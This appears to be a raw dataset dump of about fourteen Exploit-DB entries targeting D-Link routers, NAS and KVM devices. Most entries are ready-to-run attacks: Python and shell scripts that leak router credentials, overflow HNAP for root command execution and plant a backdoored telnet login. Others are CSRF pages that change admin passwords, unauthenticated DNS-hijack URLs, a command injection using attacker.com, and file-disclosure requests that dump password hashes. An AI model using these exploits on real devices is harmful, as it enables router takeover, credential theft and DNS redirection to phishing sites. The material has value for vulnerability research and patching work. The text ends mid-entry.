deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42729
Description: D-Link DIR-8xx Routers - Leak Credentials
Type: webapps
Platform: hardware
Date: 2017-09-12
Author: embedi

Exploit:
# phpcgi is responsible for processing requests to .php, .asp and .txt pages. Also, it checks whether a user is authorized or not. Nevertheless, if a request is crafted in a proper way, an attacker can easily bypass authorization and execute a script that returns a login and password to a router.
# E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin
# E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b[PII_REDACTED]f71da48fd7de28be0516b589187c3/phpcgi.py

import requests as rq

EQ = "%3d"
IP = "192.168.0.1"
PORT = "80"

def pair(key, value):
    return "%0a_POST_" + key + EQ + value

headers_multipart = {
    'CONTENT-TYPE' : 'application/x-www-form-urlencoded'
}

url = 'http://{ip}:{port}/getcfg.php'.format(ip=IP, port=PORT)
auth = "%0aAUTHORIZED_GROUP%3d1"
data = "A=A" + pair("SERVICES", "DEVICE.ACCOUNT") + auth

print(rq.get(url, data=data, headers=headers_multipart).text)
Exploit-DB #42731
Description: D-Link DIR-8xx Routers - Local Firmware Upload
Type: webapps
Platform: hardware
Date: 2017-09-12
Author: embedi

Exploit:
#!/bin/bash

# If you have access to an ethernet port you can upload custom firmware to a device because system recovery service is started and available for a few seconds after restart.
# E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin
# E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b[PII_REDACTED]f71da48fd7de28be0516b589187c3/update.sh

FIRMWARE="firmware.bin"
IP="192.168.0.1"
while true; do
	T=$(($RANDOM + ($RANDOM % 2) * 32768))
	STATUS=`wget -t 1 --no-cache -T 0.2 -O - http://$IP/?_=$T 2>/dev/null`
	if [[ $STATUS == *"<title>Provided by D-Link</title>"* ]]; then
		echo "Uploading..."
		curl -F "data=@$FIRMWARE" --connect-timeout 99999 -m 99999 --output /dev/null http://$IP/f2.htm
		break
	elif [[ $STATUS == *"<title>D-LINK</title>"* ]]; then
		echo "Rebooting..."
		echo -n -e '\x00\x01\x00\x01EXEC REBOOT SYSTEMaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' | timeout 1s nc -u $IP 19541
	fi
done
Exploit-DB #42730
Description: D-Link DIR-8xx Routers - Root Remote Code Execution
Type: webapps
Platform: hardware
Date: 2017-09-12
Author: embedi

Exploit:
# Due to error in hnap protocol implementation we can overflow stack and execute any sh commands under root priviliges.
# E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin
# E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b[PII_REDACTED]f71da48fd7de28be0516b589187c3/hnap.py

import requests as rq
import struct

IP = "192.168.0.1"
PORT = "80"
# Can differ in different version of routers and versions of firmware
# SYSTEM_ADDRESS = 0x1B570 # DIR-890L_REVA_FIRMWARE_PATCH_v1.11B02.BETA01
SYSTEM_ADDRESS = 0x1B50C	# DIR-890L_REVA_FIRMWARE_1.10.B07 

def _str(address):
    return struct.pack("<I", address) if address > 0 else struct.pack("<i", address)

url = 'http://{ip}:{port}/HNAP1/'.format(ip=IP, port=PORT)

headers_text = {
    'SOAPACTION' : 'http://purenetworks.com/HNAP1/Login',
    'CONTENT-TYPE' : 'text/html'
}
payload = b"echo 1 > /tmp/hacked;"

print(rq.post(url, data=b"<Action>" + payload + b"A" * (0x400 - len(payload)) + _str(-1) + b"C" * 0x14 + _str(SYSTEM_ADDRESS)[0:3] + b"</Action>", headers=headers_text).text)
Exploit-DB #38853
Description: D-Link DIR-Series Routers - '/model/__show_info.php' Local File Disclosure
Type: webapps
Platform: hardware
Date: 2013-12-02
Author: tytusromekiatomek

Exploit:
source: https://www.securityfocus.com/bid/64043/info

Multiple D-Link DIR series routers are prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on devices running the vulnerable application. This may aid in further attacks. 

#!/bin/sh


if [ -z "$1" ]; then
        echo "d-link DIR-300 (all), DIR-600 (all), DIR-615 (fw 4.0)";
        echo "exploited by AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b";
        echo "usage: $0 [router address] [telnet port]";
        exit 0;
fi;

if [ -z "$2" ]; then
        TPORT=3333;
else
        TPORT=$2;
fi

UPORT=31337;

echo "Trying $1 ...";

HTTPASSWD=`curl -sS "http://$1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"; | grep -A1 "<center>" | tail -1 | 
sed -e "s/\t//g ; s/^\([^:]*\):\([^:]*\)$/\1\n \2/g"`;

if [ ! -z "$HTTPASSWD" ]; then
        L=`echo $HTTPASSWD | cut -d' ' -f1`;
        P=`echo $HTTPASSWD | cut -d' ' -f2`;

        echo "found username: $L";
        echo "found password: $P";


        curl -d "ACTION_POST=LOGIN&LOGIN_USER=$L&LOGIN_PASSWD=$P" -sS "http://$1/login.php"; | grep -v "fail" 
1>/dev/null;

        if [ $? -eq 0 ]; then
                curl -sS 
"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i 
eth0.2 -p tcp --dport $TPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;
                curl -sS 
"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i 
eth0.2 -p tcp --dport $UPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;
                curl -sS 
"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/telnetd -p $TPORT -l 
/usr/sbin/login -u hacked:me&set/runtime/syslog/sendmail=1" 1>/dev/null;

                echo "if you are lucky telnet is listening on $TPORT (hacked:me) ..."
                curl -sS "http://$1/logout.php"; 1>/dev/null;
        fi
fi

CHAP=`curl -sS "http://$1/model/__show_info.php?REQUIRE_FILE=/etc/ppp/chap-secrets"; | grep -A1 "<center>" | sed -e 
"s/<center>//g"`;

if [ ! -z "$CHAP" ]; then
        echo "found chap-secrets: $CHAP";
fi

echo "Bye bye.";

exit 0;
Exploit-DB #11030
Description: D-Link DKVM-IP8 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2010-01-06
Author: POPCORN

Exploit:
# Exploit Title: D-LINK DKVM-IP8 XSS Vulnerability
# Date: 01-06-2010
# Author: POPCORN
# Software Link: http://www.dlink.ru/
# Version: 2282_dlinkA4_p8_20071213
# Tested on: Windows Sp 2
# Site : http://Hacking.ge
# Code :
POST http://site.com80/auth.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 212.58.116.80
Content-Length: 90
Connection: Close
Pragma: no-cache
Attack details
The POST variable nickname has been set to 1>">">
Exploit-DB #25142
Description: D-Link DNS-323 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-05-02
Author: sghctoma

Exploit:
###############################################################################
# Exploit Title: D-Link DNS-323 Multiple Vulnerabilities 
# Author: sghctoma
# E-mail: tamas.szakaly@praudit.hu
# Category: Hardware
# Vendor: http://www.dlink.com/
# Firmware Version: 1.09
# Product: http://www.dlink.com/us/en/support/product/dns-323-1tb-sharecenter-2-bay-network-storage-sata-raid-0-1-usb-print-server
###############################################################################

.intro
======

DNS-323 is a NAS product from D-Link with a web GUI. The GUI is vulnerable to
multiple attacks described below. Both vulns are inthe "SCHEDULE DOWNLOAD" page,
and both require authentication. However a normal user is enough, no need for
admin.

.vulnerabilites
===============

.arbitrary file upload
----------------------
When one clicks in the "Save To" textbox or the "Browse" button, a popup appears
with the directories on the "Volume_1" share. When one clicks the "+" sign to
open a directory, a POST request is sent to /goform/GetNewDir with the following
parameters:

fNEW_DIR		/mnt/Volume_1
f_backup		0
f_IP_address	<ip address of NAS>
f_file			0

A directory traversal is possible via the fNEW_DIR variable, and we can browse
not only the directories, but the files too with setting f_file to "1". So, for
example with the following params one can browse /:

fNEW_DIR		/mnt/Volume_1/../../
f_backup		0
f_IP_address	<ip address of NAS>
f_file			1

So, this way we can browse the entire directory tree, and we can schedule a
download to wherever we want. (e.g. overwrite /etc/shadow - oh, yes, we are
doing everything as root, btw.)

.OS command execution
---------------------

When one clicks the "play button" on a scheduled download, a POST request is
sent to /goform/right_now_d with the following parameter:

T1	<at job id>,SCHEDULE<num>,<user>,<source>,<destination>,<num>

SCHEDULE<num> is injectable, so for example setting T1 to the following writes
the output of the "id" command to a web accessible file:

11,SCHEDULE13 && id > /web/path/id.txt,dns323,ftp://attacker.com/dummy.txt,/Volume_1/Public,1

After such query we can visit <NAS address>/web/path/id.txt, and we will see the
following content:

uid=0(root) gid=0(root)

###############################################################################
Screenshots and a write-up of these vulns in Hungarian is available at the
following URL: http://praudit.hu/index.php/blog/nassoljunk
Exploit-DB #18511
Description: D-Link DSL-2640B ADSL Router - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2012-02-22
Author: Ivano Binetti

Exploit:
+------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : D-Link DSL-2640B (ADSL Router) Authentication Bypass
# Date          : 22-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://www.d-link.com
# Version       : DSL-2640B 
# Tested on     : Firmware Version: EU_4.00; Hardware Version: B2
+-------------------------------------------------------------------------------------------------------------------------------------------+
+-------------------------[Authentication Bypass by Ivano Binetti]--------------------------------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit

+--------------------------------------------------------------------------------------------------------------------------------------------+

1)Introduction
D-Link DSL-2640B is an ADSL Router using (also) a web management interface. 

2)Vulnerability Description
This router allows an attacker to bypass authentication and to login with administrator ("admin") credentials.
In fact when the administrator is logged in and an internal attacker will connect to web management interface (default is http://192.168.1.1:80) 
he will be able to see the MAC Address of logged admin. Symply changing his MAC Address the attacker can bypass authentication and login as 
administrator.

3)Exploit
For example in OSX Snow Leopard you can on the fly change your MAC Address with the simple following CLI command:

ifconfig en0 ether <admin_mac_address>   (where en0 is the name of your network interface)
Exploit-DB #18499
Description: D-Link DSL-2640B ADSL Router - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2012-02-20
Author: Ivano Binetti

Exploit:
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : D-Link DSL-2640B (ADSL Router) CSRF Vulnerability
# Date          : 19-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://www.d-link.com
# Version       : DSL-2640B 
# Tested on     : Firmware Version: EU_4.00; Hardware Version: B2
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit

+---------------------------------------------------------------------------------------------------------------------------------+


1)Introduction

D-Link DSL-2640B is an ADSL Router using (also) a web management interface. 


2)Vulnerability Description

The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router 
parameters and -among other things- to change default administrator("admin") password.

3)Exploit 

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change ADMIN password</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/redpass.cgi?sysPassword=new_password&change=1">
</form>
</body>
</html>


+----------------------------------------------------------------------------------------------------------------------------------+
Exploit-DB #43678
Description: D-Link DSL-2640R - DNS Change
Type: webapps
Platform: hardware
Date: 2018-01-17
Author: Todor Donev

Exploit:
#
#
#  D-Link DSL-2640R Unauthenticated Remote DNS Change Vulnerability
#
#  Firmware Version: UK_1.06 Hardware Version: B1
#
#  Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
#
#  https://ethical-hacker.org/
#  https://facebook.com/ethicalhackerorg/
#
#  Description:  
#  The vulnerability exist in the web interface.
#  D-Link's various routers are susceptible to unauthorized DNS change. 
#  The problem is when entering an invalid / wrong user and password.  
#
#  ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link 
#  DEVICES MAY AFFECTED.
#
#  Once modified, systems use foreign DNS servers,  which are 
#  usually set up by cybercriminals. Users with vulnerable 
#  systems or devices who try to access certain sites are 
#  instead redirected to possibly malicious sites.
#  
#  Modifying systems' DNS settings allows cybercriminals to 
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites: 
#       These sites can be phishing pages that 
#       spoof well-known sites in order to 
#       trick users into handing out sensitive 
#       information.
#
#    o  Replacing ads on legitimate sites: 
#       Visiting certain sites can serve users 
#       with infected systems a different set 
#       of ads from those whose systems are 
#       not infected.
#   
#    o  Controlling and redirecting network traffic: 
#       Users of infected systems may not be granted 
#       access to download important OS and software 
#       updates from vendors like Microsoft and from 
#       their respective security vendors.
#
#    o  Pushing additional malware: 
#       Infected systems are more prone to other 
#       malware infections (e.g., FAKEAV infection).
#
#  

Proof of Concept:

http://<TARGET>/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=<MALICIOUS DNS>&dnsSecondary=<MALICIOUS DNS>
Exploit-DB #37240
Description: D-Link DSL-2730B AU_2.01 - Authentication Bypass DNS Change
Type: webapps
Platform: hardware
Date: 2015-06-08
Author: Todor Donev

Exploit:
  D-Link DSL-2730B AU_2.01 
  Authentication Bypass DNS Change

  Copyright 2015 (c) Todor Donev 
  <todor.donev at gmail.com>
  http://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg

  Disclaimer:
  This or previous programs is for Educational
  purpose ONLY. Do not use it without permission.
  The usual disclaimer applies, especially the
  fact that Todor Donev is not liable for any
  damages caused by direct or indirect use of the
  information or functionality provided by these
  programs. The author or any Internet provider
  bears NO responsibility for content or misuse
  of these programs or any derivatives thereof.
  By using these programs you accept the fact
  that any damage (dataloss, system crash,
  system compromise, etc.) caused by the use
  of these programs is not Todor Donev's
  responsibility.
  
  Use them at your own risk!

  This security hole allows an attacker to bypass 
  authentication and change the DNS. When the
  administrator is logged in the web  management 
  interface, an attacker may be able to completely 
  bypass authentication phase and connect to the 
  web management interface with administrator's 
  credentials. This attack can also be performed 
  by an external attacker who connects to the 
  router's public IP address, if remote management 
  is enabled. To change the DNS without logging 
  into web management interface use the following URL:
  
http://TARGET/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=
Exploit-DB #24563
Description: D-Link DSL-2740B ADSL Router - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2013-03-04
Author: Ivano Binetti

Exploit:
+------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title      : D-Link DSL-2740B (ADSL Router) Authentication Bypass
# Date               : 10-02-2013
# Author             : Ivano Binetti (http://ivanobinetti.com)
# Vendor site        : http://www.d-link.com
# Version            : DSL-2740B
# Tested on          : Firmware Version: EU_1.0 (other models/firmware could be also affected)
# Original Advisory  : http://www.webapp-security.com/2013/03/d-link-dsl-2740b-adsl-router-authentication-bypass/
# CVE                : CVE-2013-2271
+-------------------------------------------------------------------------------------------------------------------------------------------+
+---------------------------------------[D-Link DSL-2740B Bypass Authentication by Ivano Binetti]-------------------------------------------+
Summary
 
1)Introduction
2)Vulnerability Description
3)Exploit
+--------------------------------------------------------------------------------------------------------------------------------------------+ 

1)Introduction
D-Link DSL-2740B is an ADSL Router using a web management interface in order to change configuration settings.
 
2)Vulnerability Description
This router allows an attacker to bypass authentication and to login with administrator ("admin" user) permissions.
When the administrator is logged in the web management interface, an attacker is be able to completely bypass authentication phase and 
connect to the web management interface with administrator's credentials.
Please observe that the default URL to access to the web management interface is "http://192.168.1.1" but this attack can also be 
performed by an axternal attacker who connects to the router's public IP address, if remote management is enabled.
  
3)Exploit
When an administrator in logged in the web management interface an attacker can bypass authentication and get administrator permissions
connecting to the following URL:

http://<ip address>/login.cgi (where <ip address> can be both internal or public)
Exploit-DB #31569
Description: D-Link DSL-2750B ADSL Route' - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-02-11
Author: killall-9

Exploit:
# Exploit Title : D-Link DSL-2750B (ADSL Router) CSRF Vulnerability
# Date : 10-02-2014
# Author : killall-9@mail.com
# Vendor site : http://www.d-link.com
# Version : DSL-2750B 
# Tested on : Firmware Version: EU_2.02; Hardware Version: B1

The D-Link DSL-2750B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router parameters.

POC=>

<html lang="en">
<head>
<title>Pinata-CSRF-poc for D-Link</title>
</head>
<body>
<img src="http://192.168.1.1/scdmz.cmd?&fwFlag=50853375&dosenbl=1" />
</body>
</html>

cincin°°°
Exploit-DB #37516
Description: D-Link DSL-2750u / DSL-2730u - (Authenticated) Local File Disclosure
Type: webapps
Platform: hardware
Date: 2015-07-07
Author: SATHISH ARTHAR

Exploit:
#[+] Author: SATHISH ARTHAR
#[+] Exploit Title: Dlink Wireless Router Password File Access Exploit (Local File Inclusion)
#[+] Date: 07-07-2015
#[+] Platform: Hardware
#[+] Tested on: linux
#[+] Vendor: http://www.dlink.co.in
#[+] Product web page: http://www.dlink.co.in

#[+] Affected version:
DSL-2750u (firmware: IN_1.08 )
DSL-2730u (firmware: IN_1.02 )

#[+] Sites: sathisharthars.wordpress.com
#[+] Twitter: @sathisharthars
#[+] Thanks: offensive security (@offsectraining)


#########################################################################
Dlink Wireless Router Password File Access Exploit
#########################################################################

Summary:

The Dlink DSL-2750u and DSL-2730u wireless router improves
your legacy Wireless-G network. It is a simple, secure way to share your
Internet connection and allows you to easily surf the Internet, use email,
and have online chats. The quick, CD-less setup can be done through a web
browser. The small, efficient design fits perfectly into your home and
small office.


Desc:

The router suffers from an authenticated file inclusion vulnerability
(LFI) when input passed thru the 'getpage' parameter to 'webproc' script is
not properly verified before being used to include files. This can be exploited
to include files from local resources.


Tested on: mini_httpd/1.19 19dec2003



===============================================================


GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd HTTP/1.1

Host: 192.168.31.10

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: sessionid=2b48aa9b

Connection: keep-alive



HTTP/1.0 200 OK

Content-type: text/html

Pragma: no-cache

Cache-Control: no-cache

set-cookie: sessionid=2b48aa9b; expires=Fri, 31-Dec-9999 23:59:59 GMT;path=/



#root:x:0:0:root:/root:/bin/bash
root:x:0:0:root:/root:/bin/sh
#tw:x:504:504::/home/tw:/bin/bash
#tw:x:504:504::/home/tw:/bin/msh


GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/shadow HTTP/1.1

Host: 192.168.31.10

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: sessionid=2b48aa9b

Connection: keep-alive


HTTP/1.0 200 OK

Content-type: text/html

Pragma: no-cache

Cache-Control: no-cache

set-cookie: sessionid=2b48aa9b; expires=Fri, 31-Dec-9999 23:59:59 GMT;path=/



#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::